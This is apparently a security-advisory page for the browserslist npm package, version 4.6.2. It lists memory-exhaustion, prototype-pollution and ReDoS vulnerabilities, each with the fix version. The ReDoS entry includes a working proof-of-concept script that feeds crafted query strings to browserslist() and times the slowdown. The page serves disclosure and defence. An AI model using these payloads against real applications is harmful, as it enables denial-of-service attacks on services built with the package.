Homepage

browserslist@4.6.2

Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

  • latest version

    4.28.9

  • latest non vulnerable version

    4.28.9

  • first published

    11 years ago

  • latest version published

    4 days ago

  • licenses detected

  • View browserslist package health on Snyk  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the browserslist package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Allocation of Resources Without Limits or Throttling

    browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

    Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the in-memory cache and parseCache in index.js. An attacker can eventually exhaust process memory and crash a long-running Node.js application by sending a stream of distinct query strings, causing each unique browserslist() result and parsed query AST to be retained indefinitely.

    How to fix Allocation of Resources Without Limits or Throttling?

    Upgrade browserslist to version 4.28.7 or higher.

    <4.28.7
    • H
    Prototype Pollution

    browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

    Affected versions of this package are vulnerable to Prototype Pollution via the normalizeStats() function in node.js. An attacker can crash the process or alter an object’s prototype by supplying a poisoned browserslist-stats.json file or untrusted stats data with inherited object-key names such as __proto__ or toString. The function iterates untrusted keys and writes them into a plain object without an own-property check, so a crafted stats entry can trigger a TypeError on lookup or invoke the __proto__ setter during assignment, breaking any tool that calls browserslist() and causing a denial of service.

    How to fix Prototype Pollution?

    Upgrade browserslist to version 4.28.7 or higher.

    <4.28.7
    • M
    Regular Expression Denial of Service (ReDoS)

    browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

    PoC by Yeting Li

    var browserslist = require("browserslist")
function build_attack(n) {
    var ret = "> "
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

// browserslist('> 1%')

//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            browserslist(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade browserslist to version 4.16.5 or higher.

    <4.16.5
    Go back to all versions of this package